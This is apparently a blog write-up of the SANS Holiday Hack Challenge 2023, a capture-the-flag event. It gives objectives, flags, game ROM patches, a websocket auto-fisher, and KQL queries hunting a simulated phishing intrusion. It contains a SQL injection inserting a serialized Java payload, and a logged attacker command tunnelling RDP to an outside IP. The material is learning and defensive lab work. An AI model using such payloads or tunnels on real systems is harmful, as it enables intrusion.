&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;;insert into satellite_query(object) values(unhex('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b7870010174002975706461746520706f696e74696e675f6d6f646520736574206e756d65726963616c5f6d6f64653d31'))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, later I found out you could have used the &lt;strong&gt;from_base64&lt;/strong&gt; function:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;;insert into satellite_query(object) values(from_base64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE='))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Win!!!! Success, the missile targets the Sun!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Missile-4.png&quot; alt=&quot;Missile Sun1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Missile-5.png&quot; alt=&quot;Missile Sun2&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;objective-1&quot;&gt;Objective 1&lt;/h1&gt;

&lt;h2 id=&quot;holiday-orientation&quot;&gt;Holiday Orientation&lt;/h2&gt;

&lt;p&gt;Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands&lt;/p&gt;

&lt;h1 id=&quot;objective-2&quot;&gt;Objective 2&lt;/h1&gt;

&lt;h2 id=&quot;snowball-fight-1&quot;&gt;Snowball fight&lt;/h2&gt;

&lt;p&gt;Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!&lt;/p&gt;

&lt;h1 id=&quot;objective-3&quot;&gt;Objective 3&lt;/h1&gt;

&lt;h2 id=&quot;linux-101-1&quot;&gt;Linux 101&lt;/h2&gt;

&lt;p&gt;Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.&lt;/p&gt;

&lt;h1 id=&quot;objective-4&quot;&gt;Objective 4&lt;/h1&gt;

&lt;h2 id=&quot;reportinator-1&quot;&gt;Reportinator&lt;/h2&gt;

&lt;p&gt;Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.&lt;/p&gt;

&lt;h1 id=&quot;objective-5&quot;&gt;Objective 5&lt;/h1&gt;

&lt;h2 id=&quot;azure-101-1&quot;&gt;Azure 101&lt;/h2&gt;

&lt;p&gt;Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.&lt;/p&gt;

&lt;h1 id=&quot;objective-6&quot;&gt;Objective 6&lt;/h1&gt;

&lt;h2 id=&quot;luggage-lock&quot;&gt;Luggage Lock&lt;/h2&gt;

&lt;p&gt;Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials&lt;/p&gt;

&lt;h1 id=&quot;objective-7&quot;&gt;Objective 7&lt;/h1&gt;

&lt;h2 id=&quot;linux-priv-esc-1&quot;&gt;Linux Priv Esc&lt;/h2&gt;

&lt;p&gt;Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.&lt;/p&gt;

&lt;h1 id=&quot;objective-8&quot;&gt;Objective 8&lt;/h1&gt;

&lt;h2 id=&quot;faster-lock-combination-1&quot;&gt;Faster Lock Combination&lt;/h2&gt;

&lt;p&gt;Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!&lt;/p&gt;

&lt;h1 id=&quot;objective-9&quot;&gt;Objective 9&lt;/h1&gt;

&lt;h2 id=&quot;game-cartridges-vol-1&quot;&gt;Game Cartridges: Vol 1&lt;/h2&gt;

&lt;p&gt;Simply play the game, beat it scan the QR Code&lt;/p&gt;

&lt;p&gt;The dog hints and some blocks will respond to your whistle and will sing.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;These blocks need to be pushed to their indicated positions.&lt;/li&gt;
  &lt;li&gt;7x blocks need to me moved&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Vol1-1.png&quot; alt=&quot;Vol1 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Above, is a picture demonstrating the whistle and block interactions.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Vol1-2.png&quot; alt=&quot;Vol1 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Above is the completed QR-code after solving the puzzle.&lt;/p&gt;

&lt;p&gt;Website: &lt;a href=&quot;https://8bitelf.com&quot;&gt;8bitelf.com&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;flag:santaconfusedgivingplanetsqrcode
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-10&quot;&gt;Objective 10&lt;/h1&gt;

&lt;h2 id=&quot;game-cartridges-vol-2&quot;&gt;Game Cartridges: Vol 2&lt;/h2&gt;

&lt;h3 id=&quot;hints-9&quot;&gt;Hints&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;This feels the same, but different!&lt;/li&gt;
  &lt;li&gt;If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.&lt;/li&gt;
  &lt;li&gt;I think I may need to get a DIFFerent perspective.&lt;/li&gt;
  &lt;li&gt;I wonder if someone can give me a few pointers to swap.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;solving-the-challenge&quot;&gt;Solving the challenge&lt;/h3&gt;

&lt;p&gt;When we load the cartridge and emulator by clicking on the cartridge, we observe it loading game0.gb, refreshing and suddenly its loading game1.gb – These must be the two versions.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb&lt;/li&gt;
  &lt;li&gt;https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Vol2-1.png&quot; alt=&quot;Vol2 1&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vbindiff game0.gb game1.gb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-vbindiff.png&quot; alt=&quot;vbindiff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;note differences, make manual patches via hex editor&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;only patch 1-4 bytes at a time (bytes must be adjacent)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We end up with these patched game0 files:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;game0_14f.gb&lt;/li&gt;
  &lt;li&gt;game0_16a80.gb&lt;/li&gt;
  &lt;li&gt;game0_16ab0.gb&lt;/li&gt;
  &lt;li&gt;game0_17c80.gb&lt;/li&gt;
  &lt;li&gt;game0_0590.gb&lt;/li&gt;
  &lt;li&gt;game0_18500.gb&lt;/li&gt;
  &lt;li&gt;game0_18510.gb&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;the-winning-hacked-game&quot;&gt;The winning hacked game…&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;game0_17c80.gb&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Vol2-2.png&quot; alt=&quot;Vol2 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pass the wizard, jump through portal listen to the radio&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;--. .-.. ----- .-. -.-- --.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sounds like morse code, a quick double check…&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;--. .-.. ----- .-. -.-- --.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://morsedecoder.com/&quot;&gt;Morsedecode&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GL0RY
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-11&quot;&gt;Objective 11&lt;/h1&gt;

&lt;h2 id=&quot;game-cartridges-vol-3&quot;&gt;Game Cartridges: Vol 3&lt;/h2&gt;

&lt;p&gt;Find the third Gamegosling cartridge and beat the game.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Loaded game in emulator in Windows VM&lt;/li&gt;
  &lt;li&gt;Loaded Cheat Engine - required disabling AV
    &lt;ul&gt;
      &lt;li&gt;See settings, and address in the image below!&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Hacked the emulators memory to patch the bytes of memory representing coins!&lt;/li&gt;
  &lt;li&gt;Played the game to the end!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Gameboy_vol3.png&quot; alt=&quot;Cheat Engine&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;objective-12&quot;&gt;Objective 12&lt;/h1&gt;

&lt;h2 id=&quot;naan&quot;&gt;Na’an&lt;/h2&gt;

&lt;p&gt;Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!&lt;/p&gt;

&lt;h1 id=&quot;objective-13&quot;&gt;Objective 13&lt;/h1&gt;

&lt;h2 id=&quot;kql-kraken-hunt&quot;&gt;KQL Kraken Hunt&lt;/h2&gt;

&lt;p&gt;Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#kql&quot;&gt;Jump to KQL Answers below&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;objective-14&quot;&gt;Objective 14&lt;/h1&gt;

&lt;h2 id=&quot;phish-detection-agency&quot;&gt;Phish Detection Agency&lt;/h2&gt;

&lt;p&gt;Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!&lt;/p&gt;

&lt;h1 id=&quot;objective-15&quot;&gt;Objective 15&lt;/h1&gt;

&lt;h2 id=&quot;hashcat-1&quot;&gt;Hashcat&lt;/h2&gt;

&lt;p&gt;Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IluvC4ndyC4nes!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-16&quot;&gt;Objective 16&lt;/h1&gt;

&lt;h2 id=&quot;elfhunt&quot;&gt;Elfhunt&lt;/h2&gt;

&lt;p&gt;Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.&lt;/p&gt;

&lt;h1 id=&quot;objective-17&quot;&gt;Objective 17&lt;/h1&gt;

&lt;h2 id=&quot;certificate-sshenanigans&quot;&gt;Certificate SSHenanigans&lt;/h2&gt;

&lt;p&gt;Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gingerbread
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-18&quot;&gt;Objective 18&lt;/h1&gt;

&lt;h2 id=&quot;the-captains-comms-1&quot;&gt;The Captains Comms&lt;/h2&gt;

&lt;p&gt;Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.&lt;/p&gt;

&lt;h1 id=&quot;objective-19&quot;&gt;Objective 19&lt;/h1&gt;

&lt;h2 id=&quot;active-directory&quot;&gt;Active Directory&lt;/h2&gt;

&lt;p&gt;Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;InstructionsForEnteringSatelliteGroundStation.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-20&quot;&gt;Objective 20&lt;/h1&gt;

&lt;h2 id=&quot;space-island-door-access-speaker&quot;&gt;Space Island Door Access Speaker&lt;/h2&gt;

&lt;p&gt;There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.&lt;/p&gt;

&lt;h1 id=&quot;objective-21&quot;&gt;Objective 21&lt;/h1&gt;

&lt;h2 id=&quot;camera-access-1&quot;&gt;Camera Access&lt;/h2&gt;

&lt;p&gt;Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Conquer holiday season!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;objective-22&quot;&gt;Objective 22&lt;/h1&gt;

&lt;h2 id=&quot;missile-diversion-1&quot;&gt;Missile Diversion&lt;/h2&gt;

&lt;p&gt;Thwart Jack’s evil plan by re-aiming his missile at the Sun.&lt;/p&gt;

&lt;h1 id=&quot;objective-23&quot;&gt;Objective 23&lt;/h1&gt;

&lt;h2 id=&quot;bonus-fishing-guide&quot;&gt;BONUS! Fishing Guide&lt;/h2&gt;

&lt;p&gt;Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.&lt;/p&gt;

&lt;h1 id=&quot;objective-24&quot;&gt;Objective 24&lt;/h1&gt;

&lt;h2 id=&quot;bonus-fishing-mastery&quot;&gt;BONUS! Fishing Mastery&lt;/h2&gt;

&lt;p&gt;Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.&lt;/p&gt;

&lt;p&gt;We start by re-using the information already discovered in Fishing Guide:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://2023.holidayhackchallenge.com/sea/fishdensityref.html&quot;&gt;Fishing heatmaps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These will come in handy for finding elusive fish species&lt;/p&gt;

&lt;h3 id=&quot;using-overlaysmasks-as-fishing-treasure-maps&quot;&gt;Using overlays/masks as fishing treasure maps&lt;/h3&gt;

&lt;p&gt;We used GIMP to photoshop the map of the islands and the heat maps.&lt;/p&gt;

&lt;p&gt;First we extract the map of the Islands and collect the image info:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-map.png&quot; alt=&quot;Map&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;example-piscis-cyberneticus-skodo&quot;&gt;Example: Piscis Cyberneticus Skodo&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-rare-fishmap.png&quot; alt=&quot;rare fish map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the image sizes you can see we have a slight difference in size.&lt;/p&gt;

&lt;p&gt;So we will scale up this image to 512x512, and past it as a layer on the world map image:&lt;/p&gt;

&lt;p&gt;Menu -&amp;gt; Image -&amp;gt; Scale Image&lt;/p&gt;

&lt;p&gt;Copy this image, and paste as a new layer onto our world map (above)&lt;/p&gt;

&lt;p&gt;And use &lt;strong&gt;colour to alpha&lt;/strong&gt; to make the black transparent so we can see the map underneath, together with a bright spot indicating where to fish:&lt;/p&gt;

&lt;p&gt;Menu -&amp;gt; Colour -&amp;gt; Colour to alpha&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-rare-fishmap2.png&quot; alt=&quot;lets go fishing&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;example-2-the-speckled-whisker-spoon-puffer&quot;&gt;Example 2: The speckled Whisker-Spoon Puffer&lt;/h4&gt;

&lt;p&gt;Using the same method above, and tweaking the transparency and opacity thresholds, helps indicate where we want to fish:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-fishmap3.png&quot; alt=&quot;fish map&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;using-js-console-to-extract-data&quot;&gt;Using JS Console to extract data&lt;/h2&gt;

&lt;p&gt;Using Javascript in the developer console to extract names, and number of unique fish species form the heatmaps URL page&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://2023.holidayhackchallenge.com/sea/fishdensityref.html&quot;&gt;Fishing heatmaps&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Firefox JS to print number of fish:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var h3Tags = document.querySelectorAll('h3');
var h3Count = h3Tags.length;

console.log('Number of fish:', h3Count);
Number of Fish: 171
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Firefox JS to extract and print all fish names:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var h3Tags = document.querySelectorAll('h3');
h3Tags.forEach(function(h3, index) {
  console.log(h3.textContent.trim());
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;creating-the-auto-fisher&quot;&gt;Creating the Auto Fisher&lt;/h3&gt;

&lt;p&gt;Websocket Address&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;wss://2023.holidayhackchallenge.com/sail&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;chatgpt-to-write-some-code&quot;&gt;chatGPT to write some code&lt;/h4&gt;

&lt;p&gt;User prompt&amp;gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ok, i need some websocket code... the websocket is called websocket, it can send two messages: cast and reel.  the idea is fishing game, cast, casts off, you then await a repsonse, when the json recieves onTheLine=&quot;some fish name&quot; not false, we then send the message reel to capture the phish.
the message recieve is e:{&quot;uid&quot;:{json response} please factor this into your code
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;ChatGPT response &amp;gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Certainly! Below is a simple JavaScript code snippet using the WebSocket API to implement the fishing game logic you described. It includes handling the 'cast' and 'reel' messages and checking the response for the 'onTheLine' condition:

const WebSocket = require('ws'); // Assuming Node.js environment for WebSocket

const socket = new WebSocket('your_websocket_url'); // Replace with your WebSocket URL

socket.addEventListener('open', () =&amp;gt; {
  console.log('WebSocket connection established.');

  // Send the 'cast' action to start fishing
  socket.send('cast');
});

socket.addEventListener('message', (event) =&amp;gt; {
  if (event.data.startsWith('e:')) {
    const jsonData = JSON.parse(event.data.slice(2));
    const uid = Object.keys(jsonData)[0]; // Assuming there's a unique identifier (uid) in the JSON

    try {
      if (jsonData[uid] &amp;amp;&amp;amp; jsonData[uid]['onTheLine'] &amp;amp;&amp;amp; jsonData[uid]['onTheLine'] !== false) {
        const fishName = jsonData[uid]['onTheLine'];
        console.log(`Caught a ${fishName}!`);

        // Send the 'reel' action to capture the fish
        socket.send('reel');
      }
    } catch (error) {
      console.error('Error processing WebSocket message:', error);
    }
  }
});

socket.addEventListener('close', (event) =&amp;gt; {
  console.log('WebSocket connection closed:', event.code, event.reason);
});

// Handle errors
socket.addEventListener('error', (error) =&amp;gt; {
  console.error('WebSocket encountered an error:', error);
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a little human creativity amending the code we can use this smaller code, thats hardcoded to our UserId (UID) and login name:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socket.addEventListener(&quot;message&quot;, (event) =&amp;gt; {
  if (event.data.startsWith(&quot;e:&quot;)) {
    const jsonData = JSON.parse(event.data.slice(2));
    try{
      if ((jsonData['8141'] &amp;amp;&amp;amp; jsonData['8141']['username'] === 'cryptocracker99') &amp;amp;&amp;amp; jsonData['8141']['onTheLine']){
        console.log(&quot;caught a &quot;+ jsonData['8141']['onTheLine'])
        console.log(jsonData['8141']['fishCaught'].length + &quot;/171&quot;);
        socket.send('reel');
      }
      if (jsonData['8141'] &amp;amp;&amp;amp; !jsonData['8141']['fishing']){
      	socket.send('cast');
      }
    } catch(error){
      // deal with errors here if we get stuck
    }
  }
});

socket.send('cast');
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And watch the fish roll in!&lt;/p&gt;

&lt;p&gt;We even managed to catch this rare specimen…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Rare-fish.png&quot; alt=&quot;Piscis Cyberneticus Skodo&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;appendix&quot;&gt;Appendix&lt;/h1&gt;

&lt;h2 id=&quot;kql&quot;&gt;KQL&lt;/h2&gt;

&lt;h3 id=&quot;onboarding&quot;&gt;Onboarding&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| summarize TotalScore = sum(Score)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;112&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;sans&quot;&gt;SANS&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Onboarding&lt;/strong&gt; - How many Craftperson Elf’s are working from laptops?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Employees
| where tolower(hostname) contains &quot;laptop&quot; and role contains &quot;Craftsperson Elf&quot;
| summarize LaptopCount = count(hostname)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;25&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 1&lt;/strong&gt; Welcome to Operation Giftwrap: Defending the Geese Island network&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is the email address of the employee who received this phishing email?&lt;/li&gt;
  &lt;li&gt;What is the email address that was used to send this spear phishing email?&lt;/li&gt;
  &lt;li&gt;What was the subject line used in the spear phishing email?&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Email
| where link contains &quot;http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx&quot;
| project recipient, sender, subject
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;alabaster_snowball@santaworkshopgeeseislands.org&lt;/li&gt;
  &lt;li&gt;cwombley@gmail.com&lt;/li&gt;
  &lt;li&gt;[EXTERNAL] Invoice foir reindeer food past due&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 2&lt;/strong&gt; Someone got phished! Let’s dig deeper on the victim…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is the role of our victim in the organization?&lt;/li&gt;
  &lt;li&gt;What is the hostname of the victim’s machine?&lt;/li&gt;
  &lt;li&gt;What is the source IP linked to the victim?&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Employees
| where email_addr == &quot;alabaster_snowball@santaworkshopgeeseislands.org&quot;
| project role, hostname, ip_addr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Head Elf&lt;/li&gt;
  &lt;li&gt;Y1US-DESKTOP&lt;/li&gt;
  &lt;li&gt;10.10.0.4&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 3&lt;/strong&gt; That’s not good. What happened next?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What time did Alabaster click on the malicious link?&lt;/li&gt;
  &lt;li&gt;What file is dropped to Alabaster’s machine shortly after he downloads the malicious file?&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FileCreationEvents
| where hostname contains &quot;Y1US-DESKTOP&quot; and filename == &quot;MonthlyInvoiceForReindeerFood.docx&quot;
| project timestamp, sha256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;time = 2023-12-02T10:13:35Z&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;OutboundNetworkEvents
| where timestamp &amp;gt;= datetime(&quot;2023-12-02T10:12:35Z&quot;) and src_ip == &quot;10.10.0.4&quot;
|order by timestamp asc
2023-12-02T10:12:42
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FileCreationEvents
| where hostname contains &quot;Y1US-DESKTOP&quot; and timestamp &amp;gt; datetime(&quot;2023-12-02T10:13:35Z&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;gitwrap.exe (2023-12-02T10:14:21)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 4&lt;/strong&gt; A compromised host! Time for a deep dive.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?&lt;/li&gt;
  &lt;li&gt;What is the timestamp when the attackers enumerated network shares on the machine?&lt;/li&gt;
  &lt;li&gt;What was the hostname of the system the attacker moved laterally to?&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ProcessEvents
| where timestamp &amp;gt; datetime(&quot;2023-12-02T10:13:35Z&quot;) and username==&quot;alsnowball&quot;
|order by timestamp asc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Important rows:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2023-12-02T11:11:29
&quot;ligolo&quot; --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
